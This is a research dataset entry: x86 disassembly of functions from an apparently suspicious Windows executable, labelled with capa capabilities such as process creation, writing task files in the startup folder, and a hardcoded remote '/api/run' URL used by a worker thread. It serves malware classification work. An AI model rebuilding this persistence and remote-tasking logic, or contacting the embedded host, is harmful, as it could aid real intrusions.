joyce8/EMBER2024-capa huggingface dataset:
Function at 0x40dae0
Capabilities:
Check if file exists
Create process on windows

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x50e4b6
mov eax, dword fs:[0]
push eax
sub esp, 0x2ac
mov eax, dword [0x5723f8]
xor eax, ebp
mov dword [ebp - 0x14], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov edi, edx
mov esi, ecx
cmp dword [esi + 0x14], 0x10
jb 0x40db1b
mov eax, dword [esi]
jmp 0x40db1d
mov eax, esi
push eax
call dword [sym.imp.SHLWAPI.dll_PathFileExistsA]
test eax, eax
je 0x40dc99
push 0x44
lea eax, [ebp - 0x2b4]
push 0
push eax
call fcn.0045abe0
xorps xmm0, xmm0
mov dword [ebp - 0x2b4], 0x44
push esi
mov edx, 0x536f60
mov dword [ebp - 0x2b0], 0
lea ecx, [ebp - 0x25c]
mov dword [ebp - 0x2ac], str.winsta0default
mov dword [ebp - 0x288], 0
movdqu xmmword [ebp - 0x26c], xmm0
call fcn.0040d2d0
push 0x536f5c
mov edx, eax
mov dword [ebp - 4], 0
lea ecx, [ebp - 0x244]
call fcn.0040d3c0
push edi
mov edx, eax
mov byte [ebp - 4], 1
lea ecx, [ebp - 0x22c]
call fcn.00408c50
add esp, 0x18
cmp dword [ebp - 0x230], 0x10
jb 0x40dbc5
push dword [ebp - 0x244]
call fcn.0044ef7f
add esp, 4
cmp dword [ebp - 0x248], 0x10
mov dword [ebp - 0x230], 0xf
mov dword [ebp - 0x234], 0
mov byte [ebp - 0x244], 0
jb 0x40dbf7
push dword [ebp - 0x25c]
call fcn.0044ef7f
add esp, 4
push 0x1ff
lea eax, [ebp - 0x213]
mov byte [ebp - 0x214], 0
push 0
push eax
call fcn.0045abe0
cmp dword [ebp - 0x218], 0x10
lea eax, [ebp - 0x22c]
push dword [ebp - 0x21c]
cmovae eax, dword [ebp - 0x22c]
push eax
lea eax, [ebp - 0x214]
push eax
call fcn.0045a590
add esp, 0x18
cmp dword [esi + 0x14], 0x10
jb 0x40dc43
mov esi, dword [esi]
lea eax, [ebp - 0x26c]
push eax
lea eax, [ebp - 0x2b4]
push eax
push 0
push 0
push 0x420
push 0
push 0
push 0
lea eax, [ebp - 0x214]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
mov esi, eax
test esi, esi
je 0x40dc80
push dword [ebp - 0x26c]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
cmp dword [ebp - 0x218], 0x10
jb 0x40dc97
push dword [ebp - 0x22c]
call fcn.0044ef7f
add esp, 4
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x14]
xor ecx, ebp
call fcn.0044ed21
mov esp, ebp
pop ebp
ret
Function at 0x40fd70
Capabilities:
Create directory
Get common file path
Get startup folder

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x50e87c
mov eax, dword fs:[0]
push eax
sub esp, 0x228
mov eax, dword [0x5723f8]
xor eax, ebp
mov dword [ebp - 0x10], eax
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
push 2
push 0x57dd28
mov dword [ebp - 0x234], 0x57dd28
call fcn.00486f8e
add esp, 8
test eax, eax
je 0x40fdc1
push eax
call fcn.00487097
add esp, 4
push 2
push 0x57dd2c
mov dword [ebp - 4], 0
call fcn.00486f8e
add esp, 8
test eax, eax
je 0x40fde4
push eax
call fcn.00487097
add esp, 4
push 2
push 0x57dd30
mov byte [ebp - 4], 1
call fcn.00486f8e
add esp, 8
test eax, eax
je 0x40fe04
push eax
call fcn.00487097
add esp, 4
xor eax, eax
mov dword [0x57dd48], 7
mov dword [0x57dd44], 0
mov word [0x57dd34], ax
mov dword [0x57dd60], 7
mov dword [0x57dd5c], eax
mov word [0x57dd4c], ax
mov dword [0x57dd78], 7
mov dword [0x57dd74], eax
mov word [0x57dd64], ax
mov dword [ebp - 0x21c], 7
mov dword [ebp - 0x220], eax
mov word [ebp - 0x230], ax
push 0x206
mov byte [ebp - 4], 6
push eax
mov word [ebp - 0x218], ax
lea eax, [ebp - 0x216]
push eax
call fcn.0045abe0
add esp, 0xc
lea eax, [ebp - 0x218]
push 0
push 0x1a
push eax
push 0
call dword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathW]
cmp word [ebp - 0x218], 0
jne 0x40fea2
xor ecx, ecx
jmp 0x40febf
lea ecx, [ebp - 0x218]
lea edx, [ecx + 2]
jmp 0x40feb0
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x40feb0
sub ecx, edx
sar ecx, 1
push ecx
lea eax, [ebp - 0x218]
push eax
lea ecx, [ebp - 0x230]
call fcn.00403630
push 0xa
push 0x53704c
lea ecx, [ebp - 0x230]
call fcn.00406860
cmp dword [ebp - 0x21c], 8
lea eax, [ebp - 0x230]
push 0
cmovae eax, dword [ebp - 0x230]
push eax
call dword [sym.imp.KERNEL32.dll_CreateDirectoryW]
push 0xffffffffffffffff
push 0
lea eax, [ebp - 0x230]
mov ecx, 0x57dd34
push eax
call fcn.004024f0
push 0xa
push str.config.dat
mov ecx, 0x57dd34
call fcn.00406860
push 0xffffffffffffffff
push 0
lea eax, [ebp - 0x230]
mov ecx, 0x57dd4c
push eax
call fcn.004024f0
push 8
push str.task.dat
mov ecx, 0x57dd4c
call fcn.00406860
push 0xffffffffffffffff
push 0
lea eax, [ebp - 0x230]
mov ecx, 0x57dd64
push eax
call fcn.004024f0
push 0xf
push str.task_finish.dat
mov ecx, 0x57dd64
call fcn.00406860
cmp dword [ebp - 0x21c], 8
jb 0x40ff8a
push dword [ebp - 0x230]
call fcn.0044ef7f
add esp, 4
mov eax, 0x57dd28
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.0044ed21
mov esp, ebp
pop ebp
ret 4
Function at 0x410390
Capabilities:
Access peb ldr_data
Get process heap flags
Get process heap force flags

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x50e907
mov eax, dword fs:[0]
push eax
sub esp, 0xc
push esi
push edi
mov eax, dword [0x5723f8]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov edi, ecx
mov dword [ebp - 0x14], edi
mov dword [ebp - 0x10], 0
mov dword [edi], 0x537180
mov dword [edi + 0x70], vtable.std::basic_ios_char__struct_std::char_traits_char__.0
mov dword [ebp - 4], 0
lea esi, [edi + 0x10]
mov eax, dword [edi]
mov dword [ebp - 0x10], 1
mov eax, dword [eax + 4]
mov dword [edi + eax], vtable.std::basic_istream_char__struct_std::char_traits_char__.0
mov eax, dword [edi]
mov ecx, dword [eax + 4]
push ecx
push esi
lea eax, [ecx - 0x18]
mov dword [ecx + edi - 4], eax
mov eax, dword [edi]
mov dword [edi + 8], 0
mov dword [edi + 0xc], 0
mov ecx, dword [eax + 4]
add ecx, edi
call fcn.00412540
mov dword [ebp - 4], 2
mov eax, dword [edi]
mov eax, dword [eax + 4]
mov dword [edi + eax], vtable.std::basic_ifstream_char__struct_std::char_traits_char__.0
mov eax, dword [edi]
mov ecx, dword [eax + 4]
lea eax, [ecx - 0x70]
mov dword [ecx + edi - 4], eax
mov ecx, esi
call fcn.00411500
lea eax, [esi + 4]
mov dword [esi], vtable.std::basic_filebuf_char__struct_std::char_traits_char__.0
mov dword [esi + 0xc], eax
lea ecx, [esi + 8]
lea eax, [esi + 0x14]
mov byte [esi + 0x4c], 0
mov dword [esi + 0x1c], eax
lea eax, [esi + 0x18]
mov dword [esi + 0x20], eax
lea eax, [esi + 0x24]
mov dword [esi + 0x2c], eax
lea eax, [esi + 0x28]
mov dword [esi + 0x30], eax
mov byte [esi + 0x45], 0
mov dword [esi + 0x10], ecx
mov dword [ecx], 0
mov eax, dword [esi + 0x20]
mov dword [eax], 0
mov eax, dword [esi + 0x30]
mov dword [eax], 0
mov eax, dword [esi + 0xc]
mov dword [eax], 0
mov eax, dword [esi + 0x1c]
mov dword [eax], 0
mov eax, dword [esi + 0x2c]
mov dword [eax], 0
mov eax, dword [0x58170c]
mov dword [esi + 0x48], eax
mov eax, edi
mov dword [esi + 0x50], 0
mov dword [esi + 0x40], 0
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov esp, ebp
pop ebp
ret 4
Function at 0x410d30
Capabilities:
Access peb ldr_data
Get process heap flags

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x50e987
mov eax, dword fs:[0]
push eax
sub esp, 0xc
push esi
push edi
mov eax, dword [0x5723f8]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov edi, ecx
mov dword [ebp - 0x14], edi
mov dword [ebp - 0x10], 0
mov dword [edi], 0x537090
mov dword [edi + 0x60], vtable.std::basic_ios_char__struct_std::char_traits_char__.0
mov dword [ebp - 4], 0
lea esi, [edi + 4]
mov eax, dword [edi]
mov dword [ebp - 0x10], 1
mov eax, dword [eax + 4]
mov dword [edi + eax], vtable.std::basic_ostream_char__struct_std::char_traits_char__.0
mov eax, dword [edi]
mov ecx, dword [eax + 4]
push ecx
push esi
lea eax, [ecx - 8]
mov dword [ecx + edi - 4], eax
mov eax, dword [edi]
mov ecx, dword [eax + 4]
add ecx, edi
call fcn.00412540
mov dword [ebp - 4], 2
mov eax, dword [edi]
mov eax, dword [eax + 4]
mov dword [edi + eax], vtable.std::basic_ofstream_char__struct_std::char_traits_char__.0
mov eax, dword [edi]
mov ecx, dword [eax + 4]
lea eax, [ecx - 0x60]
mov dword [ecx + edi - 4], eax
mov ecx, esi
call fcn.00411500
lea eax, [esi + 4]
mov dword [esi], vtable.std::basic_filebuf_char__struct_std::char_traits_char__.0
mov dword [esi + 0xc], eax
lea ecx, [esi + 8]
lea eax, [esi + 0x14]
mov byte [esi + 0x4c], 0
mov dword [esi + 0x1c], eax
lea eax, [esi + 0x18]
mov dword [esi + 0x20], eax
lea eax, [esi + 0x24]
mov dword [esi + 0x2c], eax
lea eax, [esi + 0x28]
mov dword [esi + 0x30], eax
mov byte [esi + 0x45], 0
mov dword [esi + 0x10], ecx
mov dword [ecx], 0
mov eax, dword [esi + 0x20]
mov dword [eax], 0
mov eax, dword [esi + 0x30]
mov dword [eax], 0
mov eax, dword [esi + 0xc]
mov dword [eax], 0
mov eax, dword [esi + 0x1c]
mov dword [eax], 0
mov eax, dword [esi + 0x2c]
mov dword [eax], 0
mov eax, dword [0x58170c]
mov dword [esi + 0x48], eax
mov eax, edi
mov dword [esi + 0x50], 0
mov dword [esi + 0x40], 0
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov esp, ebp
pop ebp
ret 4
Function at 0x4111e0
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
push 0xffffffffffffffff
push 0x50e9b8
mov eax, dword fs:[0]
push eax
sub esp, 0x28
mov eax, dword [0x5723f8]
xor eax, esp
mov dword [esp + 0x20], eax
push ebx
push esi
push edi
mov eax, dword [0x5723f8]
xor eax, esp
push eax
lea eax, [esp + 0x38]
mov dword fs:[0], eax
mov ebx, ecx
cmp dword [ebx + 0x40], 0
je 0x411334
cmp byte [ebx + 0x45], 0
je 0x411334
mov eax, dword [ebx]
push 0xffffffffffffffff
call dword [eax + 0xc]
cmp eax, 0xffffffff
jne 0x411240
xor al, al
jmp 0x411336
mov ecx, 0xf
mov byte [esp + 0x18], 0
xorps xmm0, xmm0
mov dword [esp + 0x2c], ecx
cmp ecx, 0x10
movq qword [esp + 0x18], xmm0
lea eax, [esp + 0x18]
mov dword [esp + 0x28], 8
cmovae eax, dword [esp + 0x18]
mov byte [eax + 8], 0
mov dword [esp + 0x40], 0
jmp 0x411280
cmp dword [esp + 0x2c], 0x10
lea eax, [esp + 0x14]
mov ecx, dword [ebx + 0x40]
lea edi, [esp + 0x18]
cmovae edi, dword [esp + 0x18]
lea esi, [esp + 0x18]
cmovae esi, dword [esp + 0x18]
push eax
mov eax, dword [esp + 0x2c]
mov edx, dword [ecx]
add eax, edi
push eax
push esi
lea eax, [ebx + 0x48]
push eax
call dword [edx + 0x20]
sub eax, 0
je 0x4112c1
dec eax
je 0x4112c5
sub eax, 2
je 0x41131b
xor bl, bl
jmp 0x41131d
mov byte [ebx + 0x45], 0
mov ecx, dword [esp + 0x2c]
lea eax, [esp + 0x18]
mov edx, dword [esp + 0x18]
cmp ecx, 0x10
mov esi, dword [esp + 0x14]
cmovae eax, edx
sub esi, eax
je 0x4112fc
push dword [ebx + 0x50]
cmp ecx, 0x10
lea eax, [esp + 0x1c]
push esi
cmovae eax, edx
push 1
push eax
call fcn.004575ca
add esp, 0x10
cmp esi, eax
jne 0x4112bd
cmp byte [ebx + 0x45], 0
je 0x41131b
test esi, esi
jne 0x411280
push esi
push 8
lea ecx, [esp + 0x20]
call fcn.0040e450
jmp 0x411280
mov bl, 1
cmp dword [esp + 0x2c], 0x10
jb 0x411330
push dword [esp + 0x18]
call fcn.0044ef7f
add esp, 4
mov al, bl
jmp 0x411336
mov al, 1
mov ecx, dword [esp + 0x38]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x20]
xor ecx, esp
call fcn.0044ed21
mov esp, ebp
pop ebp
ret
Function at 0x412bd0
Capabilities:
Access peb ldr_data
Get process heap force flags

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
push 0xffffffffffffffff
push 0x50ec68
mov eax, dword fs:[0]
push eax
sub esp, 0x28
mov eax, dword [0x5723f8]
xor eax, esp
mov dword [esp + 0x20], eax
push esi
mov eax, dword [0x5723f8]
xor eax, esp
push eax
lea eax, [esp + 0x30]
mov dword fs:[0], eax
mov esi, ecx
mov eax, dword [ebp + 0x10]
sub esp, 0x18
mov ecx, esp
push 0xffffffffffffffff
push 0
mov dword [ecx + 0x14], 0xf
mov dword [ecx + 0x10], 0
push eax
mov byte [ecx], 0
call fcn.00406dc0
push dword [ebp + 0xc]
lea eax, [esp + 0x2c]
push dword [ebp + 8]
push eax
call fcn.00412af0
add esp, 0x24
mov dword [esp + 0x38], 0
cmp dword [eax + 0x14], 0x10
jb 0x412c4d
mov eax, dword [eax]
mov dword [esp + 0xc], eax
mov ecx, esi
lea eax, [esp + 0xc]
push eax
call fcn.00452cde
cmp dword [esp + 0x24], 0x10
mov dword [esi], vtable.std::runtime_error.0
jb 0x412c76
push dword [esp + 0x10]
call fcn.0044ef7f
add esp, 4
mov ecx, dword [ebp + 8]
mov eax, esi
mov dword [esi + 0xc], ecx
mov ecx, dword [ebp + 0xc]
mov dword [esi], vtable.std::_System_error.0
mov dword [esi + 0x10], ecx
mov ecx, dword [esp + 0x30]
mov dword fs:[0], ecx
pop ecx
pop esi
mov ecx, dword [esp + 0x20]
xor ecx, esp
call fcn.0044ed21
mov esp, ebp
pop ebp
ret 0xc

Function at 0x415ec0
Capabilities:
Access peb ldr_data
Get ntdll base address

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
push 0xffffffffffffffff
push 0x50f2c8
mov eax, dword fs:[0]
push eax
sub esp, 0x20
mov eax, dword [0x5723f8]
xor eax, esp
mov dword [esp + 0x18], eax
push esi
mov eax, dword [0x5723f8]
xor eax, esp
push eax
lea eax, [esp + 0x28]
mov dword fs:[0], eax
mov esi, ecx
mov ecx, dword [ebp + 8]
xor eax, eax
mov edx, dword [ebp + 0xc]
mov dword [esp + 0x1c], 7
mov dword [esp + 0x18], 0
mov word [esp + 8], ax
mov dword [esp + 0x30], eax
lea eax, [esp + 8]
mov edx, dword [edx]
push eax
call fcn.00415bc0
mov eax, dword [esp + 0x1c]
lea edx, [esp + 0xc]
add esp, 4
mov dword [esi + 0x28], 1
cmp dword [esp + 0x1c], 8
mov ecx, esi
cmovae edx, dword [esp + 8]
add eax, eax
push eax
push edx
call fcn.00415c70
cmp dword [esp + 0x1c], 8
mov esi, eax
jb 0x415f62
push dword [esp + 8]
call fcn.0044ef7f
add esp, 4
mov eax, esi
mov ecx, dword [esp + 0x28]
mov dword fs:[0], ecx
pop ecx
pop esi
mov ecx, dword [esp + 0x18]
xor ecx, esp
call fcn.0044ed21
mov esp, ebp
pop ebp
ret 8
Function at 0x415f80
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
push esi
mov esi, ecx
mov eax, dword [esi + 0x1c]
test eax, eax
je 0x415f97
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
cmp dword [esi + 0x18], 8
lea eax, [esi + 4]
jb 0x415fa2
mov eax, dword [eax]
push 0
push 0x80
push 2
push 0
push 3
push 0xc0000000
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov ecx, eax
xor eax, eax
mov dword [esi + 0x1c], ecx
cmp ecx, 0xffffffff
je 0x41600e
mov byte [ebp - 4], al
mov word [ebp - 3], ax
mov byte [ebp - 1], al
mov dword [ebp - 8], eax
mov eax, dword [esi + 0x30]
dec eax
je 0x415ff0
dec eax
jne 0x416009
push eax
lea eax, [ebp - 8]
mov word [ebp - 4], 0xbbef
push eax
mov byte [ebp - 2], 0xbf
push 3
jmp 0x415ffe
push 0
lea eax, [ebp - 8]
mov word [ebp - 4], 0xfeff
push eax
push 2
lea eax, [ebp - 4]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_WriteFile]
mov eax, 1
pop esi
mov esp, ebp
pop ebp
ret

Function at 0x416590
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x50f3c8
mov eax, dword fs:[0]
push eax
sub esp, 0x18
push esi
mov eax, dword [0x5723f8]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov esi, ecx
cmp dword [esi + 0x48], 8
lea eax, [esi + 0x34]
mov ecx, dword [esi + 0x44]
jb 0x4165c6
mov eax, dword [eax]
mov dword [ebp - 0x18], eax
lea eax, [ecx + ecx]
mov dword [ebp - 0x1c], 1
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x20], 0
mov dword [ebp - 4], 0
xor ecx, ecx
mov eax, dword [esi + 0x30]
mov dword [ebp - 0x10], ecx
sub eax, ecx
je 0x4165f6
dec eax
je 0x41660f
dec eax
jne 0x416600
lea ecx, [ebp - 0x24]
call fcn.00416530
mov ecx, eax
mov eax, dword [esi + 0x4c]
sub eax, 0
je 0x416630
dec eax
je 0x416619
xor esi, esi
jmp 0x416635
lea ecx, [ebp - 0x24]
call fcn.004164d0
jmp 0x4165fe
push 0
lea eax, [ebp - 0x10]
push eax
push dword [ebp - 0x14]
push ecx
push dword [esi + 0x1c]
call dword [sym.imp.KERNEL32.dll_WriteFile]
mov esi, eax
jmp 0x416635
mov esi, 1
mov eax, dword [ebp - 0x20]
test eax, eax
je 0x416645
push eax
call fcn.0044ef7f
add esp, 4
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x41a210
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
push 0xffffffffffffffff
push 0x50f7e0
mov eax, dword fs:[0]
push eax
sub esp, 0x68
mov eax, dword [0x5723f8]
xor eax, esp
mov dword [esp + 0x60], eax
push esi
mov eax, dword [0x5723f8]
xor eax, esp
push eax
lea eax, [esp + 0x70]
mov dword fs:[0], eax
cmp dword [0x573c48], 0
je 0x41a407
mov dword [esp + 0x4c], 0xf
mov dword [esp + 0x48], 0
mov byte [esp + 0x38], 0
sub esp, 0x18
mov dword [esp + 0x90], 0
mov ecx, esp
push 0xffffffffffffffff
push 0
mov dword [ecx + 0x14], 0xf
mov dword [ecx + 0x10], 0
push 0x573c38
mov byte [ecx], 0
call fcn.00406dc0
lea ecx, [esp + 0x50]
call fcn.004204e0
push 0xa0
call fcn.0044f140
add esp, 4
test eax, eax
je 0x41a2bb
mov ecx, eax
call fcn.00421620
mov esi, eax
jmp 0x41a2bd
xor esi, esi
mov dword [esp + 0x10], 0
mov dword [esp + 0x14], 0
mov dword [esp + 0x18], 0
mov byte [esp + 0x78], 1
lea ecx, [esp + 0x50]
push 0x29
xor eax, eax
mov dword [esp + 0x68], 7
push str.http:__common.zhuotingwl.com:8711_api_run
mov dword [esp + 0x68], 0
mov word [esp + 0x58], ax
call fcn.00403630
lea eax, [esp + 0x50]
mov byte [esp + 0x78], 2
push eax
lea ecx, [esp + 0x14]
call fcn.00407ad0
mov byte [esp + 0x78], 1
cmp dword [esp + 0x64], 8
jb 0x41a32c
push dword [esp + 0x50]
call fcn.0044ef7f
add esp, 4
sub esp, 0xc
lea eax, [esp + 0x1c]
mov ecx, esp
push eax
call fcn.00414800
mov ecx, esi
call fcn.00421e90
push ecx
lea edx, [esp + 0x3c]
lea ecx, [esp + 0x20]
call fcn.00423e10
add esp, 4
lea ecx, [esi + 0x14]
mov byte [esp + 0x78], 3
lea eax, [esp + 0x1c]
cmp ecx, eax
je 0x41a36d
push 0xffffffffffffffff
push 0
push eax
call fcn.004024f0
cmp dword [esp + 0x30], 8
jb 0x41a380
push dword [esp + 0x1c]
call fcn.0044ef7f
add esp, 4
mov eax, dword [esp + 0x48]
mov dword [esi + 0x48], eax
lea eax, [esi + 0x4c]
mov dword [esi + 0x94], 0x4213b0
cmp dword [eax + 0x14], 0x10
mov dword [eax + 0x10], 0
jb 0x41a3a3
mov eax, dword [eax]
mov byte [eax], 0
lea eax, [esp + 0xc]
push eax
push 0
push esi
push 0x4219b0
push 0
push 0
mov dword [esi + 0x9c], 0
mov dword [esp + 0x24], 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov esi, dword [esp + 0x10]
test esi, esi
je 0x41a3f0
push dword [esp + 0xc]
mov edx, dword [esp + 0x18]
push ecx
mov ecx, esi
call fcn.004081a0
push esi
call fcn.0044ef7f
add esp, 0xc
cmp dword [esp + 0x4c], 0x10
jb 0x41a403
push dword [esp + 0x38]
call fcn.0044ef7f
add esp, 4
mov al, 1
jmp 0x41a409
xor al, al
mov ecx, dword [esp + 0x70]
mov dword fs:[0], ecx
pop ecx
pop esi
mov ecx, dword [esp + 0x60]
xor ecx, esp
call fcn.0044ed21
mov esp, ebp
pop ebp
ret
Function at 0x421e40
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
push ecx
cmp dword [ecx + 0x60], 0x10
lea eax, [ecx + 0x4c]
mov dword [eax + 0x10], 0
jb 0x421e56
mov eax, dword [eax]
mov byte [eax], 0
lea eax, [ebp - 4]
push eax
push 0
push ecx
push 0x4219b0
push 0
push 0
mov dword [ecx + 0x9c], 0
mov dword [ebp - 4], 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov eax, 1
mov esp, ebp
pop ebp
ret
Function at 0x422030
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
push 0xffffffffffffffff
push 0x510488
mov eax, dword fs:[0]
push eax
sub esp, 0x40
mov eax, dword [0x5723f8]
xor eax, esp
mov dword [esp + 0x38], eax
push ebx
push esi
push edi
mov eax, dword [0x5723f8]
xor eax, esp
push eax
lea eax, [esp + 0x50]
mov dword fs:[0], eax
mov edi, ecx
cmp dword [edi + 0x60], 0x10
lea ebx, [edi + 0x4c]
mov esi, dword [edi + 8]
mov dword [ebx + 0x10], 0
jb 0x422080
mov eax, dword [ebx]
jmp 0x422082
mov eax, ebx
mov byte [eax], 0
mov dword [edi + 0x9c], 0
cmp esi, dword [edi + 0xc]
je 0x422198
jmp 0x4220a0
xor eax, eax
mov dword [esp + 0x44], 7
push 0xffffffffffffffff
push eax
push esi
lea ecx, [esp + 0x3c]
mov dword [esp + 0x4c], 0
mov word [esp + 0x3c], ax
call fcn.004024f0
push 0x3a8
lea edx, [esp + 0x34]
mov dword [esp + 0x5c], 0
lea ecx, [esp + 0x1c]
call fcn.00423f90
add esp, 4
cmp dword [eax + 0x14], 0x10
jb 0x4220e9
mov eax, dword [eax]
push eax
push 0x2712
push dword [edi]
call fcn.004d5350
add esp, 0xc
cmp dword [esp + 0x2c], 0x10
jb 0x42210c
push dword [esp + 0x18]
call fcn.0044ef7f
add esp, 4
push 0x258
push 0xd
push dword [edi]
call fcn.004d5350
add esp, 0xc
push 0x258
push 0x4e
push dword [edi]
call fcn.004d5350
add esp, 0xc
push 0x4217f0
push 0x4e2b
push dword [edi]
call fcn.004d5350
add esp, 0xc
push edi
push 0x2711
push dword [edi]
call fcn.004d5350
add esp, 0xc
push 1
push 0x34
push dword [edi]
call fcn.004d5350
add esp, 0xc
push dword [edi]
call fcn.004d51b0
add esp, 4
mov dword [edi + 4], eax
test eax, eax
je 0x4221b8
mov dword [esp + 0x58], 0xffffffff
cmp dword [esp + 0x44], 8
jb 0x42218c
push dword [esp + 0x30]
call fcn.0044ef7f
add esp, 4
add esi, 0x18
cmp esi, dword [edi + 0xc]
jne 0x4220a0
xor eax, eax
mov ecx, dword [esp + 0x50]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x38]
xor ecx, esp
call fcn.0044ed21
mov esp, ebp
pop ebp
ret
lea eax, [esp + 0x18]
mov dword [esp + 0x14], 0
push eax
mov ecx, edi
call fcn.00421f30
cmp dword [esp + 0x28], 0
je 0x42221e
cmp dword [esp + 0x2c], 8
lea eax, [esp + 0x18]
push 0x559a5c
cmovae eax, dword [esp + 0x1c]
push eax
lea eax, [esp + 0x1c]
push eax
call fcn.00502d72
add esp, 0xc
test eax, eax
jne 0x42221e
cmp dword [ebx + 0x14], 0x10
jb 0x422200
mov ebx, dword [ebx]
push dword [esp + 0x14]
push dword [edi + 0x9c]
push 1
push ebx
call fcn.004575ca
push dword [esp + 0x24]
call fcn.00457dbc
add esp, 0x14
cmp dword [esp + 0x2c], 8
jb 0x422231
push dword [esp + 0x18]
call fcn.0044ef7f
add esp, 4
xor eax, eax
mov dword [esp + 0x2c], 7
cmp dword [esp + 0x44], 8
mov dword [esp + 0x28], 0
mov word [esp + 0x18], ax
jb 0x42225b
push dword [esp + 0x30]
call fcn.0044ef7f
add esp, 4
mov eax, 1
jmp 0x42219a
Function at 0x4227b0
Capabilities:
Move file

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x5104f8
mov eax, dword fs:[0]
push eax
sub esp, 0x28
mov eax, dword [0x5723f8]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 4], 1
lea ecx, [ebp - 0x28]
cmp dword [ebp + 0x30], 0
lea edx, [ebp + 8]
push str..old
je 0x4227f5
lea edx, [ebp + 0x20]
call fcn.004065f0
mov esi, eax
add esp, 4
lea eax, [ebp + 0x20]
cmp eax, esi
je 0x422830
cmp dword [ebp + 0x34], 8
jb 0x422817
push dword [ebp + 0x20]
call fcn.0044ef7f
add esp, 4
xor eax, eax
mov dword [ebp + 0x34], 7
push esi
lea ecx, [ebp + 0x20]
mov dword [ebp + 0x30], eax
mov word [ebp + 0x20], ax
call fcn.00406b50
cmp dword [ebp - 0x14], 8
jb 0x422841
push dword [ebp - 0x28]
call fcn.0044ef7f
add esp, 4
cmp dword [ebp + 0x34], 8
lea edx, [ebp + 0x20]
mov dword [ebp - 0x14], 7
cmovae edx, dword [ebp + 0x20]
xor eax, eax
mov dword [ebp - 0x18], 0
mov word [ebp - 0x28], ax
cmp word [edx], ax
jne 0x422869
xor ecx, ecx
jmp 0x42287f
mov ecx, edx
lea esi, [ecx + 2]
mov edi, edi
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x422870
sub ecx, esi
sar ecx, 1
push ecx
push edx
lea ecx, [ebp - 0x28]
call fcn.00403630
lea ecx, [ebp - 0x28]
call fcn.00424610
test al, al
sete bl
cmp dword [ebp - 0x14], 8
jb 0x4228a7
push dword [ebp - 0x28]
call fcn.0044ef7f
add esp, 4
test bl, bl
je 0x4228cb
cmp dword [ebp + 0x34], 8
lea ecx, [ebp + 0x20]
lea eax, [ebp + 8]
cmovae ecx, dword [ebp + 0x20]
cmp dword [ebp + 0x1c], 8
push ecx
cmovae eax, dword [ebp + 8]
push eax
call dword [sym.imp.KERNEL32.dll_MoveFileW]
jmp 0x422926
sub esp, 0x18
xor eax, eax
mov ecx, esp
mov dword [ebp - 0x30], esp
push 0xffffffffffffffff
mov dword [ecx + 0x14], 7
mov dword [ecx + 0x10], 0
push eax
mov word [ecx], ax
lea eax, [ebp + 0x20]
push eax
call fcn.004024f0
sub esp, 0x18
mov byte [ebp - 4], 2
mov ecx, esp
xor eax, eax
push 0xffffffffffffffff
mov dword [ecx + 0x14], 7
mov dword [ecx + 0x10], 0
push eax
mov word [ecx], ax
lea eax, [ebp + 8]
push eax
call fcn.004024f0
mov byte [ebp - 4], 1
call fcn.004227b0
add esp, 0x30
cmp dword [ebp + 0x1c], 8
mov esi, eax
jb 0x422939
push dword [ebp + 8]
call fcn.0044ef7f
add esp, 4
xor eax, eax
mov dword [ebp + 0x1c], 7
cmp dword [ebp + 0x34], 8
mov dword [ebp + 0x18], 0
mov word [ebp + 8], ax
jb 0x42295e
push dword [ebp + 0x20]
call fcn.0044ef7f
add esp, 4
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.0044ed21
mov esp, ebp
pop ebp
ret